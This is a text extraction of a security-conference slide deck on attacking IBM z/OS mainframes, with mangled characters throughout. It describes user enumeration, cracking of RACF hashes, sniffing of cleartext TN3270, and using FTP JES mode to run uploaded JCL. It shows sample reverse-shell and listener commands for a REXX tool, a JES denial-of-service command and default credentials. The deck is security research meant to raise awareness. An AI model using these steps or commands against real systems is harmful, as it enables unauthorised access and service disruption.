Mainframes: The past will come back to haunt you By: - - PowerPoint PPT Presentation

mainframes the past will come back to haunt you
SMART_READER_LITE
LIVE PREVIEW

Mainframes: The past will come back to haunt you By: - - PowerPoint PPT Presentation

Mainframes: The past will come back to haunt you By: Philip Soldier of Fortran Young Disclaimer Any views expressed in this talk are my own


slide-1
SLIDE 1

Mainframes: ¡The ¡past ¡will ¡ come ¡back ¡to ¡haunt ¡you ¡

By: ¡Philip ¡“Soldier ¡of ¡Fortran” ¡Young ¡

slide-2
SLIDE 2

Any ¡views ¡expressed ¡in ¡this ¡talk ¡are ¡my ¡own ¡and ¡ not ¡those ¡of ¡my ¡employer. ¡ ¡ This ¡talk ¡discusses ¡work ¡performed ¡in ¡my ¡spare ¡ Cme ¡generally ¡screwing ¡around ¡with ¡ mainframes ¡and ¡thinking ¡'what ¡if ¡this ¡sCll ¡ works...' ¡ ¡ ¡

Disclaimer ¡

slide-3
SLIDE 3
  • How ¡many ¡of ¡you ¡have ¡tested ¡a ¡Mainframe ¡or ¡

done ¡mainframe ¡pentests/audits? ¡

  • How ¡many ¡of ¡you ¡are ¡(or ¡were) ¡actual ¡

Sysprogs? ¡ ¡

  • See ¡the ¡problem? ¡

¡

Ques:on ¡

slide-4
SLIDE 4
slide-5
SLIDE 5
slide-6
SLIDE 6
slide-7
SLIDE 7
  • Runs ¡an ¡OS ¡called: ¡z/OS ¡
  • Current ¡version: ¡z/OS ¡V1R13 ¡(or ¡1.13) ¡-­‑ ¡V1R14 ¡

(1.14) ¡coming ¡this ¡year! ¡

  • 70% ¡of ¡fortune ¡500s ¡run ¡an ¡IBM ¡z/OS ¡

Mainframe ¡

– For ¡criCcal ¡business ¡funcCons ¡

Not ¡Legacy ¡

slide-8
SLIDE 8

About ¡me: ¡

  • Phil ¡aka ¡"Soldier ¡of ¡Fortran" ¡
  • Mainframes ¡were ¡always ¡big ¡and ¡mysterious ¡

– Messed ¡around ¡on ¡Datapac, ¡Telenet, ¡Sprintnet ¡

  • Jan ¡2012 ¡-­‑ ¡Horrible ¡consultant ¡(PitA!) ¡
  • Given ¡talks ¡(about ¡mainframes) ¡at: ¡

– Thotcon ¡ – Shmoocon ¡ – BSides ¡LV ¡and ¡AusCn ¡

About ¡

slide-9
SLIDE 9
  • Primarily ¡(ok ¡100%) ¡a ¡talk ¡about ¡z/OS ¡and ¡

support ¡tech/programs: ¡

  • If ¡these ¡mean ¡nothing ¡to ¡you... ¡good! ¡
  • Don’t ¡worry, ¡I'll ¡also ¡talk ¡security ¡

What’s ¡this ¡About? ¡

  • TSO ¡
  • RACF ¡
  • JES/JCL ¡
  • REXX ¡
  • OMVS ¡
slide-10
SLIDE 10
slide-11
SLIDE 11
slide-12
SLIDE 12

Security ¡Admin ¡ ¡ Over ¡50 ¡ ¡ Security ¡Admin ¡ Under ¡50 ¡

Age ¡Gap ¡

slide-13
SLIDE 13

This ¡can ¡happen ¡(in ¡2011): ¡ "Can ¡someone ¡tell ¡me ¡how ¡to ¡find ¡the ¡server ¡ name ¡from ¡the ¡IP ¡address." ¡ 1) I ¡don't ¡think ¡it’s ¡possible ¡ 2) You ¡need ¡to ¡implement ¡something ¡to ¡lookup ¡ names ¡by ¡IP ¡

I’m ¡Not ¡Ageist… ¡

slide-14
SLIDE 14
slide-15
SLIDE 15

IBM ¡MAINFRAMES ¡

slide-16
SLIDE 16
  • os/360 ¡-­‑ ¡Released ¡in ¡the ¡60’s ¡
  • os/370 ¡-­‑ ¡Released ¡in ¡the ¡70’s ¡
  • os/390 ¡-­‑ ¡Released ¡1995 ¡
  • z/OS ¡-­‑ ¡Released ¡2004 ¡

– New ¡release ¡every ¡two ¡years ¡ – z/OS ¡v2 ¡on ¡the ¡horizon ¡

(really) ¡Brief ¡History ¡

slide-17
SLIDE 17

TN3270: ¡

  • An ¡extension ¡on ¡telnet ¡
  • Generally ¡clear ¡text ¡ ¡

– SSL ¡Added ¡mid ¡90s ¡

  • EBCDIC ¡(ugh) ¡

Supported ¡in ¡Wireshark! ¡

Cleartext, ¡s:ll? ¡

slide-18
SLIDE 18
slide-19
SLIDE 19
slide-20
SLIDE 20
  • More ¡akin ¡to ¡a ¡shell ¡like ¡/bin/sh ¡
  • Let's ¡you ¡run ¡commands: ¡

– FTP ¡ – REXEC ¡ – TRACEROUTE ¡ – NETSTAT ¡ – LISTDS ¡

Username ¡max: ¡7 ¡chars ¡ ¡ ¡

(Mmm) ¡General ¡TSO ¡

slide-21
SLIDE 21

(Who ¡names ¡these ¡things?) ¡ ¡

  • ISPF ¡= ¡The ¡'GUI' ¡used ¡to ¡interact ¡

– File ¡browser ¡ – Swanky ¡Editor ¡ – Made ¡of ¡'panels’ ¡

¡

The ¡“GUI” ¡-­‑ ¡ISPF ¡

slide-22
SLIDE 22
slide-23
SLIDE 23
slide-24
SLIDE 24
  • Uses ¡'Datasets' ¡not ¡'Files' ¡(but ¡I ¡sCll ¡call ¡them ¡

files) ¡

  • Composed ¡of ¡HLQ ¡and ¡'the ¡rest’: ¡

TCPIP.FTP.DATA

  • Can ¡be ¡'parCConed’ ¡

AC1D.JCL(FILE)

It’s ¡called ¡a ¡Dataset ¡*sigh* ¡

slide-25
SLIDE 25

It's ¡a ¡UNIX ¡system! ¡I ¡know ¡this ¡

UNIX? In my Mainframe?

slide-26
SLIDE 26
  • z/OS ¡comes ¡with ¡UNIX ¡
  • the ¡command ¡'OMVS' ¡gives ¡you ¡a ¡ ¡/bin/sh ¡

shell ¡

  • You ¡can ¡'su' ¡to ¡root ¡without ¡a ¡password ¡

– Controlled ¡by ¡group ¡'BPX.SUPERUSER' ¡

It's ¡a ¡UNIX ¡system! ¡I ¡know ¡this ¡

slide-27
SLIDE 27
slide-28
SLIDE 28
slide-29
SLIDE 29
  • Everything ¡on ¡the ¡mainframe ¡is ¡a ¡JOB, ¡

managed ¡by ¡JES ¡(Job ¡Entry ¡Subsystem) ¡

  • JCL, ¡Same ¡as ¡a ¡shell ¡script ¡(sorta) ¡
  • Has ¡a ¡'JOB ¡CARD' ¡or ¡header ¡and ¡a ¡'PGM' ¡or ¡

program ¡to ¡execute ¡ ¡

JCL ¡and ¡Jobs ¡

slide-30
SLIDE 30

JOB ¡ CARD ¡ Program ¡ Parameters ¡

slide-31
SLIDE 31
  • z/OS ¡comes ¡with ¡REXX ¡
  • ScripCng ¡language ¡similar ¡to ¡RUBY/PYTHON ¡
  • REXX ¡Sockets ¡have ¡ASCII ¡translaCon ¡built ¡in: ¡

Socket('Setsockopt',socket,'SOL_SOCKET','SO_ASCII','ON’) ¡

  • Other ¡(i.e. ¡C) ¡sockets ¡do ¡not ¡have ¡this! ¡

Let’s ¡talk ¡about ¡REXX ¡(baby) ¡

slide-32
SLIDE 32

Always ¡starts ¡with ¡ ¡/* ¡REXX ¡*/ ¡ ¡ Get ¡a ¡random ¡number ¡ from ¡1024 ¡to ¡65000 ¡ ¡ print ¡it ¡to ¡the ¡screen ¡ ¡ print ¡the ¡address ¡space ¡ ¡ DO ¡a ¡loop ¡FOREVER ¡ ¡ Ask ¡the ¡user ¡for ¡a ¡ command ¡ ¡ SELECT ¡same ¡as ¡'SWITCH' ¡

  • r ¡elsif. ¡ ¡
slide-33
SLIDE 33
  • A ¡'system' ¡level ¡console ¡
  • If ¡you ¡can ¡get ¡access ¡they're ¡fucked ¡

MASTERS ¡of ¡the ¡CONSOLES ¡

REDACTED ¡

slide-34
SLIDE 34
  • For ¡example: ¡

¡ ¡$T JOBDEF,JOBNUM=5 This ¡would ¡DoS ¡JES ¡(don't ¡do ¡this!) ¡ JOBDEF ¡= ¡JES ¡parameters ¡ ¡ JOBNUM ¡= ¡The ¡number ¡of ¡jobs ¡to ¡run ¡ concurrently ¡(normally ¡very ¡high) ¡

MASTERS ¡of ¡the ¡CONSOLES ¡

slide-35
SLIDE 35
  • Most ¡companies ¡sCll ¡run ¡an ¡FTP ¡server ¡
  • An ¡amazing ¡'feature': ¡SITE ¡FILE=JES ¡
  • What ¡if ¡it ¡looked ¡like ¡this: ¡SITE ¡FILE=/bin/sh ¡

If ¡you ¡do ¡this ¡it ¡executes ¡the ¡JCL ¡you ¡uploaded! ¡

FTP ¡Server ¡

slide-36
SLIDE 36
  • Most ¡Important ¡to ¡look ¡at: ¡

NETSTAT ¡HOME ¡(ip ¡configuraCon) ¡ TCPIP.FTP.DATA ¡(you'll ¡see ¡why) ¡ RACF ¡'SETROPTS ¡LIST' ¡(password ¡config) ¡ OMVS ¡Segment ¡UID ¡(no ¡one ¡should ¡be ¡'0') ¡ BPX.SUPERUSER ¡facility ¡class ¡(gives ¡'su') ¡ JESJOBS ¡class ¡(who ¡can ¡submit ¡jobs) ¡ ¡

Important ¡Places ¡

slide-37
SLIDE 37
  • RACF ¡controls ¡ALL ¡security ¡on ¡the ¡mainframe. ¡

EVERYTHING! ¡

  • Can ¡be ¡replaced ¡by ¡ACF2 ¡or ¡TOP ¡Secret ¡
  • Default ¡User/Pass: ¡IBMUSER/SYS1 ¡

¡

RACF’m ¡

slide-38
SLIDE 38
  • No ¡'root' ¡concept ¡but ¡'SPECIAL' ¡gives ¡full ¡

control ¡ ¡

– limit ¡access ¡to ¡SPECIAL ¡ ¡

  • Limit ¡even ¡read ¡access ¡to ¡RACF ¡because… ¡
  • Also ¡stores ¡the ¡password ¡hashes! ¡

RACF’m ¡

slide-39
SLIDE 39
  • IBM ¡uses ¡DES ¡to ¡store ¡those ¡hashes ¡
  • The ¡USERID ¡is ¡the ¡'salt' ¡
  • LimiCng ¡passwords ¡to ¡8 ¡chars ¡
  • 1. Takes ¡the ¡password ¡and ¡adds ¡0x55 ¡to ¡each ¡

EBCDIC ¡char ¡ ¡

  • 2. Shirs ¡each ¡byte ¡to ¡the ¡ler ¡one ¡bit ¡
  • 3. Feeds ¡that ¡into ¡DES ¡algorithm ¡

¡

DES: ¡in ¡2013 ¡

slide-40
SLIDE 40

RVARY ¡LIST ¡

slide-41
SLIDE 41

TESTING ¡MAINFRAME ¡ SECURITY ¡

slide-42
SLIDE 42
  • Tools ¡don't ¡(or ¡didn't) ¡support ¡z/OS ¡
  • Internet ¡is ¡oren ¡wrong ¡or ¡out-­‑of-­‑date ¡
  • Frameworks ¡don't ¡typically ¡include ¡z/OS ¡

¡

Frustra:ng ¡Experience ¡

slide-43
SLIDE 43

No ¡NMAP ¡

slide-44
SLIDE 44

Wrong ¡NMAP ¡

OS/390 ¡was ¡disconCnued ¡in ¡2004 ¡

REDACTED ¡

slide-45
SLIDE 45

No ¡NESSUS ¡

slide-46
SLIDE 46

No ¡Metasploit ¡

slide-47
SLIDE 47
  • Max ¡password ¡length ¡8, ¡hashes ¡are ¡accessible ¡

and ¡single ¡DES ¡

  • Uses ¡a ¡cleartext ¡protocol ¡
  • FTP ¡allows ¡code ¡execuCon ¡

Yet, ¡Problems ¡Exist ¡

slide-48
SLIDE 48
  • And ¡you ¡saw ¡one ¡more… ¡

Yet, ¡Problems ¡Exist ¡

slide-49
SLIDE 49
slide-50
SLIDE 50
slide-51
SLIDE 51
  • That ¡logon ¡panel ¡is ¡awfully ¡friendly ¡

– Too ¡friendly ¡

  • hardcoded ¡like ¡that, ¡not ¡a ¡configuraCon ¡opCon ¡
  • And ¡yet ¡no ¡support: ¡

– THC-­‑HYDRA ¡ ¡ – MEDUSA ¡

User ¡Enumera:on ¡

slide-52
SLIDE 52
  • So ¡I ¡wrote ¡my ¡own: ¡

¡ ¡v1 ¡enumerate_TSO.sh ¡(PoC, ¡awful) ¡ ¡ ¡v2 ¡TSO ¡Brute ¡ ¡ ¡ ¡v3 ¡psikoCk.py/phatso.py ¡

User ¡Enumera:on ¡

slide-53
SLIDE 53
  • SOooo ¡SLOW ¡
  • PoC ¡
  • Used ¡py3270 ¡
  • ugly ¡

v2 ¡TSO ¡Brute ¡

slide-54
SLIDE 54
  • Much ¡faster ¡(but ¡sCll ¡python) ¡
  • Independent, ¡doesn't ¡rely ¡on ¡s3270 ¡
  • single ¡purpose ¡

– psikoCk ¡for ¡enumeraCon ¡ – phatso ¡for ¡brute ¡force ¡

V3 ¡psiko:k/phatso ¡

slide-55
SLIDE 55
slide-56
SLIDE 56
slide-57
SLIDE 57
slide-58
SLIDE 58
  • User ¡EnumeraCon ¡

¡

  • Max ¡password ¡length ¡8, ¡hashes ¡are ¡accessible ¡

and ¡single ¡DES ¡

  • Uses ¡a ¡cleartext ¡protocol ¡
  • FTP ¡allows ¡code ¡execuCon ¡

One ¡Down ¡

slide-59
SLIDE 59
  • The ¡quesCon ¡that ¡started ¡it ¡all ¡
  • Spring ¡2012: ¡John ¡the ¡Ripper ¡added ¡RACF ¡

database ¡support ¡

  • Big ¡thanks ¡to: ¡
  • Nigel ¡Pentland ¡-­‑ ¡IBM ¡obfuscaCon ¡
  • Dhiru ¡Kholia ¡-­‑ ¡./john ¡and ¡./racf2john ¡

Cracking ¡RACF ¡Hashes ¡

slide-60
SLIDE 60

Nigels ¡Tools: ¡

  • CRACF ¡

– Windows ¡only ¡tools, ¡slower ¡ ¡

  • RACFSnow ¡

– Windows ¡only, ¡used ¡for ¡audiCng ¡

Cracking ¡RACF ¡Hashes ¡

slide-61
SLIDE 61
  • User ¡EnumeraCon ¡

¡

  • Max ¡password ¡length ¡8, ¡hashes ¡are ¡accessible ¡

and ¡single ¡DES ¡

  • Uses ¡a ¡cleartext ¡protocol ¡
  • FTP ¡allows ¡code ¡execuCon ¡

Two ¡Down ¡

slide-62
SLIDE 62
  • We ¡know ¡it's ¡clear ¡text ¡
  • Some ¡support ¡in ¡common ¡tools: ¡

– Wireshark ¡(EBCDIC ¡buuon) ¡ – No ¡Euercap ¡dissector ¡

More ¡like ¡’Clear ¡EBCDIC’ ¡

slide-63
SLIDE 63
slide-64
SLIDE 64
  • Python ¡and ¡SCAPY ¡
  • Sniffs ¡and ¡translates ¡

EBCDIC ¡and ¡TSO ¡

  • Awful ¡don't ¡use ¡it ¡

because... ¡

MFSniffer ¡

REDACTED ¡ REDACTED ¡

slide-65
SLIDE 65
  • Euercap ¡added ¡TSO/3270 ¡support ¡ ¡

– Thanks ¡(again) ¡to ¡Dhiru ¡Kholia ¡

  • Based ¡on ¡MFSniffer ¡

Ekercap ¡

slide-66
SLIDE 66
  • User ¡EnumeraCon ¡

¡

  • Max ¡password ¡length ¡8, ¡hashes ¡are ¡accessible ¡

and ¡single ¡DES ¡

  • Uses ¡a ¡cleartext ¡protocol ¡
  • FTP ¡allows ¡code ¡execuCon ¡

One ¡to ¡Go ¡

slide-67
SLIDE 67
  • Updated ¡NetCat ¡v1.10 ¡to ¡support ¡OMVS ¡

– Added ¡'make omvs' ¡opCon ¡

  • One ¡problem: ¡

Netcat ¡on ¡the ¡Mainframe ¡

z/OS Linux

slide-68
SLIDE 68
  • Comes ¡with ¡NetCat ¡for ¡OMVS ¡(NC110-­‑OMVS) ¡
  • It ¡translates ¡from ¡EBCDIC ¡to ¡ASCII: ¡

NetEBCIDCat.py ¡

z/OS Linux

slide-69
SLIDE 69
  • Why? ¡

¡

  • Upload ¡Netcat ¡binary ¡(pre-­‑compiled) ¡(e.g. ¡

CASE.NETCAT) ¡

  • Use ¡JCL ¡to ¡copy ¡and ¡then ¡execute ¡NETCAT ¡

listener ¡ ¡

Gelng ¡FTP ¡to ¡Execute ¡Netcat ¡ ¡

slide-70
SLIDE 70

netcat.jcl ¡

JOB ¡ CARD ¡ Program ¡ UNIX ¡ Cmds ¡

slide-71
SLIDE 71

FTP ¡Command ¡

1 2 4 5 3

  • 1. Switch ¡to ¡Binary ¡Mode ¡
  • 2. upload ¡Netcat ¡
  • 3. switch ¡to ¡ASCII ¡mode ¡
  • 4. Switch ¡to ¡JES ¡Mode ¡
  • 5. Upload ¡JCL ¡to ¡JES ¡
  • 6. Connect ¡with ¡

NetEBCDICat.py ¡

slide-72
SLIDE 72
  • 6. ¡Connect ¡with ¡NetEBCDICat ¡
slide-73
SLIDE 73
  • Turns ¡FTP ¡only ¡access ¡to ¡shell ¡access ¡
  • Generates ¡random ¡JOB ¡Card ¡info ¡and ¡deletes ¡

files ¡

  • Has ¡a ¡detail/verbose ¡mode ¡so ¡you ¡can ¡see ¡

what’s ¡happening ¡ ¡

Automa:ng: ¡MainTP.py ¡

slide-74
SLIDE 74

MainTP ¡

slide-75
SLIDE 75
  • Unix ¡and ¡EBCDIC ¡
  • User ¡needs ¡to ¡have ¡OMVS ¡access ¡
  • Not ¡user ¡friendly ¡

¡

I ¡Got ¡99 ¡Problems ¡

slide-76
SLIDE 76
  • A ¡REXX ¡script ¡to ¡provide ¡meterpreter ¡'like' ¡

funcConality ¡

  • Reverse ¡or ¡Listener ¡TSO/UNIX ¡'meterpreter' ¡
  • Works ¡with ¡great ¡netcat ¡or ¡metasploit ¡

Introducing: ¡CATSO ¡

slide-77
SLIDE 77
  • Listener: ¡exec ¡'file' ¡'L ¡<port>’ ¡

exec 'CASE.CATSO' 'L 31337’

  • Reverse: ¡exec ¡'file' ¡'R ¡<ip> ¡<port>’ ¡

ex 'CASE.CATSO' 'R 10.0.0.4 4444'

CATSO: ¡Two ¡Great ¡Flavors ¡

slide-78
SLIDE 78

1 2 3

  • 1. Connect ¡w/ ¡Netcat ¡
  • 2. Run ¡UNIX ¡command ¡‘id’ ¡
  • 3. Cat ¡the ¡file ¡‘CASE.JCL’ ¡

¡ ¡

slide-79
SLIDE 79
  • SCll ¡requires ¡you ¡to ¡upload ¡and ¡execute ¡
  • Need ¡to ¡incorporate ¡with ¡JCL ¡for ¡remote ¡

execuCon ¡ ¡

  • The ¡sandwhich: ¡

CATSO ¡Problem ¡

slide-80
SLIDE 80

Top ¡ Bouom ¡

<CATSO.rexx> ¡

slide-81
SLIDE 81
  • Uses ¡’CATSO', ¡JCL ¡and ¡Python ¡to ¡upload ¡and ¡

create ¡listener ¡or ¡reverse ¡TSO ¡'shell' ¡

  • JCL ¡Trickery ¡

– Copy ¡JCL ¡contents ¡to ¡temp ¡file ¡ – Execute ¡temp ¡file ¡ ¡

  • Memory ¡only! ¡(temp ¡file ¡on ¡z/OS) ¡

¡

TShOcker ¡

slide-82
SLIDE 82

TShOcker ¡in ¡Ac:on ¡

Metasploit Netcat

slide-83
SLIDE 83
slide-84
SLIDE 84
  • User ¡EnumeraCon ¡

¡

  • Max ¡password ¡length ¡8, ¡hashes ¡are ¡accessible ¡

and ¡single ¡DES ¡

  • Uses ¡a ¡cleartext ¡protocol ¡
  • FTP ¡allows ¡code ¡execuCon ¡

All ¡Done? ¡

slide-85
SLIDE 85

HOW ¡CAN ¡YOU ¡HELP? ¡

slide-86
SLIDE 86

Emulate ¡the ¡Mainframe ¡

slide-87
SLIDE 87

Emulate ¡the ¡Mainframe ¡

Hercules ¡emulator. ¡A ¡virtual ¡mainframe ¡on ¡your ¡ computer ¡

  • updated/maintained ¡on ¡github ¡
  • OpenSource ¡

IBM ¡System ¡z ¡Personal ¡Development ¡Tool ¡(zPDT) ¡

  • Mainframe ¡license ¡required ¡
  • Runs ¡Linux ¡which ¡then ¡boots ¡z/OS ¡ ¡
  • Comes ¡with ¡license ¡on ¡a ¡USB ¡fob ¡
slide-88
SLIDE 88

Hercules! ¡Hercules! ¡

slide-89
SLIDE 89

@mainframed767 ¡

hkp://mainframed767.tumblr.com ¡

hups://github.com/mainframed ¡

slide-90
SLIDE 90

RACF ¡Admin ¡Age ¡Survey: ¡ ¡

hup://www.rshconsulCng.com/surveys/RSH_ConsulCng__RACF_Survey_014__Age_RACF-­‑L_ParCcipants.pdf ¡

Reverse ¡NSLOOKUP ¡

hup://www.mainframegurukul.com/ibmmainframeforums/TSO-­‑Command-­‑retrive-­‑Server-­‑name-­‑from-­‑IP-­‑Add-­‑ post5539.html ¡

Euercap ¡

hups://github.com/Euercap/euercap ¡

John ¡the ¡ripper ¡

hups://github.com/magnumripper/JohnTheRipper ¡

Netcat ¡for ¡OMVS ¡

hups://github.com/mainframed/NC110-­‑OMVS ¡

Hercules ¡

hup://www.hercules-­‑390.org/ ¡ hups://github.com/s390guy/hercules-­‑390 ¡

Links ¡